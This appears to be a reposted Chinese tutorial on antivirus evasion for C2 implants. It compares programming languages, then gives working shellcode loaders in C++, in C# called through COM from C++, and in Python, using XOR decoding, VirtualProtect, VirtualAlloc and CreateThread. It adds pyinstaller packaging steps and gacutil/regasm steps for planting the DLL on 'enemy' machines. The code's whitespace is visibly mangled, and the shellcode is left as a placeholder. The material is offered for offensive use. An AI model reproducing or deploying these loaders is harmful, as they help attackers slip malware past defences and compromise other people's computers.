1.什么語(yǔ)言適合做C2工具的免殺
首先我們需要了解一下編程語(yǔ)言的分類,大致可以分為以下幾種.
1.低級(jí)語(yǔ)言
機(jī)器語(yǔ)言(二進(jìn)制代碼)、匯編語(yǔ)言(面向機(jī)器的程序設(shè)計(jì)語(yǔ)言)和符號(hào)語(yǔ)言。匯編語(yǔ)言源程序必須經(jīng)過(guò)匯編,生成目標(biāo)文件,然后執(zhí)行。
機(jī)器語(yǔ)言優(yōu)缺點(diǎn)如下:
優(yōu)點(diǎn):直接執(zhí)行,速度快,資源占用少。
缺點(diǎn):可讀性、可移植性差,編程繁雜;
匯編語(yǔ)言優(yōu)缺點(diǎn)如下:
優(yōu)點(diǎn):能夠保持機(jī)器語(yǔ)言的一致性,直接、簡(jiǎn)捷,并能像機(jī)器指令一樣訪問(wèn)、控制計(jì)算機(jī)的各種硬件設(shè)備,如磁盤、存儲(chǔ)器、CPU、I/O端口等。使用匯編語(yǔ)言,可以訪問(wèn)所有能夠被訪問(wèn)的軟、硬件資源,目標(biāo)代碼簡(jiǎn)短,占用內(nèi)存少,執(zhí)行速度快。
缺點(diǎn):不同的處理器有不同的匯編語(yǔ)言語(yǔ)法和編譯器,編譯的程序無(wú)法在不同的處理器上執(zhí)行,缺乏可移植性,難于從匯編語(yǔ)言代碼上理解程序設(shè)計(jì)意圖,可維護(hù)性差,即使是完成簡(jiǎn)單的工作也需要大量的匯編語(yǔ)言代碼,很容易產(chǎn)生bug,難于調(diào)試,使用匯編語(yǔ)言必須對(duì)某種處理器非常了解,而且只能針對(duì)特定的體系結(jié)構(gòu)和處理器進(jìn)行優(yōu)化,開發(fā)效率很低,周期長(zhǎng)且單調(diào)。
2.高級(jí)語(yǔ)言
BASIC(True basic、Qbasic、Virtual Basic)、C、C++、PASCAL、FORTRAN、智能化語(yǔ)言(LISP、Prolog)、動(dòng)態(tài) 語(yǔ)言(Python、PHP、Ruby、Lua)等等。高級(jí)語(yǔ)言源程序可以用解釋、編譯兩種方式執(zhí)行。通常用后一種。我們使用的C語(yǔ)言就是使用的后者。
高級(jí)語(yǔ)言的優(yōu)缺點(diǎn)如下:
優(yōu)點(diǎn):高級(jí)語(yǔ)言接近算法語(yǔ)言,易學(xué)、易掌握,級(jí)語(yǔ)言為程序員提供了結(jié)構(gòu)化程序設(shè)計(jì)的環(huán)境和工具,使得設(shè)計(jì)出來(lái)的程序可讀性好,可維護(hù)性強(qiáng),可靠性高;高級(jí)語(yǔ)言遠(yuǎn)離機(jī)器語(yǔ)言,與具體的計(jì)算機(jī)硬件關(guān)系不大,可移植性好,重用率高;由于把繁雜瑣碎的事務(wù)交給了編譯程序去做,所以自動(dòng)化程度高,開發(fā)周期短,且程序員得到解脫,可以集中時(shí)間和精力去從事對(duì)于他們來(lái)說(shuō)更為重要的創(chuàng)造性勞動(dòng),以提高程序的質(zhì)量。
缺點(diǎn):運(yùn)行速度基本上比直接用匯編寫的慢,速度和程序大小與編譯軟件有關(guān)。
按轉(zhuǎn)換方式可分為三類:① 編譯型語(yǔ)言; ② 解釋型語(yǔ)言;③ 混合型語(yǔ)言。
計(jì)算機(jī)不能直接的理解高級(jí)語(yǔ)言,只能直接理解機(jī)器語(yǔ)言,所以必須要把高級(jí)語(yǔ)言翻譯成機(jī)器語(yǔ)言,計(jì)算機(jī)才能執(zhí)行高級(jí)語(yǔ)言的編寫的程序。翻譯的方式有兩種,一個(gè)是編譯,一個(gè)是解釋。兩種方式只是翻譯的時(shí)間不同。
編譯型語(yǔ)言
需通過(guò)編譯器(compiler)將源代碼編譯成機(jī)器碼,之后才能執(zhí)行的語(yǔ)言。一般需經(jīng)過(guò)編譯(compile)、鏈接(linker)這兩個(gè)步驟。編譯是把源代碼編譯成機(jī)器碼,鏈接是把各個(gè)模塊的機(jī)器碼和依賴庫(kù)串連起來(lái)生成可執(zhí)行文件。編譯和執(zhí)行是分開的,但是不能跨平臺(tái)。
優(yōu)點(diǎn):編譯器一般會(huì)有預(yù)編譯的過(guò)程對(duì)代碼進(jìn)行優(yōu)化。因?yàn)榫幾g只做一次,運(yùn)行時(shí)不需要編譯,所以編譯型語(yǔ)言的程序執(zhí)行效率高??梢悦撾x語(yǔ)言環(huán)境獨(dú)立運(yùn)行。
缺點(diǎn):編譯之后如果需要修改就需要整個(gè)模塊重新編譯。編譯的時(shí)候根據(jù)對(duì)應(yīng)的運(yùn)行環(huán)境生成機(jī)器碼,不同的操作系統(tǒng)之間移植就會(huì)有問(wèn)題,需要根據(jù)運(yùn)行的操作系統(tǒng)環(huán)境編譯不同的可執(zhí)行文件。
代表語(yǔ)言:C、C++、Pascal、Object-C、swift等。
解釋型語(yǔ)言
解釋性語(yǔ)言的程序不需要編譯,相比編譯型語(yǔ)言省了道工序,解釋性語(yǔ)言在運(yùn)行程序的時(shí)候才逐行翻譯。每一個(gè)語(yǔ)句都是執(zhí)行的時(shí)候才能翻譯。這樣解釋性語(yǔ)言每執(zhí)行一次要翻譯一次,效率表較低。
優(yōu)點(diǎn):有良好的平臺(tái)兼容性,在任何環(huán)境中都可以運(yùn)行,前提是安裝了解釋器(虛擬機(jī))。靈活,修改代碼的時(shí)候直接修改就可以,可以快速部署,不用停機(jī)維護(hù)。
缺點(diǎn):每次運(yùn)行的時(shí)候都要解釋一遍,性能上不如編譯型語(yǔ)言。
代表語(yǔ)言:JavaScript、Python、Erlang、PHP、Perl、Ruby等。
混合型語(yǔ)言
混合型語(yǔ)言也叫半編譯型語(yǔ)言。比如java、C#,C#在編譯的時(shí)候不是直接編譯成機(jī)器碼而是中間碼,.NET平臺(tái)提供了 中間語(yǔ)言運(yùn)行庫(kù)運(yùn)行中間碼,中間語(yǔ)言運(yùn)行庫(kù)類似于Java虛擬機(jī)。.net在編譯成IL代碼后,保存在dll中,首次運(yùn)行時(shí)由JIT在編譯成機(jī)器碼緩存在內(nèi)存中,下次直接執(zhí)行。
java解釋器采用生成與系統(tǒng)無(wú)關(guān)的字節(jié)代碼指令技術(shù)。也就是說(shuō),在任何不同的操作系統(tǒng)上,只要正確安裝了java運(yùn)行系統(tǒng),就有了編寫調(diào)試java程序的平臺(tái),在分布式應(yīng)用中,java的這個(gè)特點(diǎn)使同一個(gè)java程序能在不同的系統(tǒng)上運(yùn)行,從而提高了軟件生產(chǎn)效率??梢浦残允强缙脚_(tái)特性的一個(gè)延伸,即具有了跨平臺(tái)性,就保證了可移植性。java程序、java類庫(kù)、java編譯器、java系統(tǒng)都具有可移植性。
另外有一個(gè)特殊的情況,正常情況下JavaScript屬于解釋性語(yǔ)言,V8引擎是被設(shè)計(jì)用來(lái)提高網(wǎng)頁(yè)瀏覽器內(nèi)部JavaScript執(zhí)行的性能,為了提高性能,v8會(huì)把js代碼轉(zhuǎn)換為高效的機(jī)器碼,而不在是依賴于解釋器去執(zhí)行。v8引入了JIT在運(yùn)行 時(shí)把js代碼進(jìn)行轉(zhuǎn)換為機(jī)器碼。這里的主要區(qū)別在于V8不生成字節(jié)碼或任何中間代碼。這里的特殊之處在于JIT做代碼優(yōu)化(同時(shí)生成編譯版本);解釋型語(yǔ)言無(wú)法做到這些。
3.結(jié)論
綜上所述我們基本是所有語(yǔ)言都可以對(duì)軟件進(jìn)行免殺,那么這里推薦幾個(gè)語(yǔ)言 C/C++/C#/PYTHON/GO 這里我們會(huì)針對(duì)這些進(jìn)行免殺的測(cè)試,為什么這里混合型語(yǔ)言選擇C#而不是JAVA 因?yàn)镃#的.Net Framework環(huán)境在win7以上機(jī)器上已經(jīng)存在了只不過(guò)是版本不同,而Java的解釋器環(huán)境就不是了,而且很大,這樣我們就不是很容易的植入對(duì)方機(jī)器,從而不是很容易執(zhí)行我們自身程序.
2.C/C++對(duì)ShellCode免殺
1.原理
用C/C++對(duì)ShellCode進(jìn)行異或加密 在執(zhí)行
2.代碼實(shí)現(xiàn)
#include#include // 異或22的ShellCode 自己的SellCode uint8_tcode[933] = { 0}; intmain() { for(auto& value : code) { value ^= 22; } DWORD old; VirtualProtect(&code, sizeofcode, PAGE_EXECUTE_READWRITE, &old); ((void(*)()) & code)(); return0; }
3.效果
3.C++ and C# 對(duì)ShellCode進(jìn)行免殺
1.原理
使用COM組件 用C++調(diào)用C# DLL進(jìn)行免殺
2.代碼實(shí)現(xiàn)
選擇類庫(kù) .NET Framework 創(chuàng)建一個(gè)類庫(kù)項(xiàng)目
usingSystem; usingSystem.Collections; usingSystem.Collections.Generic; usingSystem.Linq; usingSystem.Net.Http; usingSystem.Reflection; usingSystem.Runtime.InteropServices; usingSystem.Text; usingSystem.Threading.Tasks; namespaceClassLibrary1 { [Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")] publicinterfaceIClass1 { [DispId(1)] voidExeSellCode(IntPtr shellCodeAddr, intlen); } delegatevoidExeCall(); publicclassClass1: IClass1 { publicvoidExeSellCode(IntPtr shellCodeAddr, intlen) { IntPtr intPtr = IntPtr.Zero; VirtualProtect(shellCodeAddr, len, 0x40, outintPtr); ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall))); call.DynamicInvoke(); } [DllImport("kernel32.dll")] staticexternboolVirtualProtect(IntPtr lpAddress, Int64 dwSize, uintflNewProtect, outIntPtr lpflOldProtect); } }
#include#import "ClassLibrary1.tlb" using namespace ClassLibrary1; uint8_t code[933] = { ShellCode }; voidExeSellCode(longlongshellCodeAddr, intlen) { CoInitialize(nullptr); ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1)); ptr->ExeSellCode((longlong)shellCodeAddr, len); ptr->Release(); CoUninitialize(); } intmain() { for(auto& value : code) { value ^= 22; } ExeSellCode((longlong)&code, sizeof(code)); return0; }
3.效果
4.Python對(duì)ShllCode進(jìn)行免殺
1.原理
Python寫完之后 可以通過(guò)CPython 進(jìn)行打包成二進(jìn)制文件直接運(yùn)行,體積較大.
2.代碼實(shí)現(xiàn)
importctypes defmain(): # length: 933 bytes buf = b"Python ShellCode xff" shellcode = bytearray(buf) size = len(shellcode) kernel32 = ctypes.windll.kernel32 kernel32.VirtualAlloc.restype = ctypes.c_uint64 MEM_COMMIT = 0x00001000 PAGE_EXECUTE_READWRITE = 0x40 # 申請(qǐng)內(nèi)存空間 ptr = kernel32.VirtualAlloc( ctypes.c_int(0), # 基址可以填0, 但是數(shù)據(jù)類型需要轉(zhuǎn)換 ctypes.c_int(size), # 設(shè)置堆棧大小 ctypes.c_int(MEM_COMMIT), # 提交到物理內(nèi)存 ctypes.c_int(PAGE_EXECUTE_READWRITE) # 設(shè)置權(quán)限為可讀可寫可執(zhí)行 ) # 把shellcode放入緩沖區(qū) buf = (ctypes.c_char * size).from_buffer(shellcode) kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), # 申請(qǐng)的內(nèi)存 buf, # shellcode ctypes.c_int(size) # 移動(dòng)的數(shù)據(jù)大小 ) # 創(chuàng)建線程調(diào)用shellcode hThread = kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), # 利用線程函數(shù)調(diào)用shellcode ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) # 線程id為指針類型, 需要傳入地址, 所以用ctypes.pointer ) # 等待線程執(zhí)行完畢, 關(guān)閉程序 # INIFITE在c的設(shè)定中值為: -1 kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1)) if__name__ == '__main__': main()
需要打包成exe
pip install pyinstaller -> pyinstaller -F .main.py --noconsole
3.效果
可以正常上線
6.總結(jié)
1.文字總結(jié)
綜上所述,我們可以看到的是對(duì)于ShellCode異或之后目前測(cè)試的只有Python可上線,但是并不代表最好用Python來(lái)寫,恰恰相反我們基本不會(huì)去用Python,因?yàn)樯傻奈募?剛剛生成的大概為8M左右,不利于我們植入到(敵軍)電腦.
這里只是介紹了可以用不同語(yǔ)言去來(lái)執(zhí)行上線ShellCode,當(dāng)然效果也肯定是有所不同的,其他語(yǔ)言還需要自己去測(cè)試,不過(guò)目前效果很好的有GO,C++還算不錯(cuò),剩下的就靠你們聰明的大腦去想了.
語(yǔ)言并不能對(duì)免殺起到關(guān)鍵的作用,最主要的還是一些稀奇古怪的思路和方法,在今后的帖子里面將會(huì)持續(xù)更新相關(guān)內(nèi)容.
2.注意點(diǎn)
C# 和 C++里面需要注意的點(diǎn) C# 類庫(kù)要生成COM
這樣會(huì)自動(dòng)在系統(tǒng)里注冊(cè)dll 如果需要植入到別人電腦里面 需要先將dll加入緩沖區(qū)在注冊(cè)
gacutil /i DLL路徑 將這個(gè)DLL加入的全局緩存里
regasm DLL路徑 注冊(cè)這個(gè)dll
Python注意點(diǎn)
需要將python文件生成可執(zhí)行文件,如果不想生成可執(zhí)行文件,也可以將Python環(huán)境打包到對(duì)方環(huán)境然后直接Python腳本。
審核編輯:劉清
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原文標(biāo)題:免殺技術(shù)之語(yǔ)言免殺
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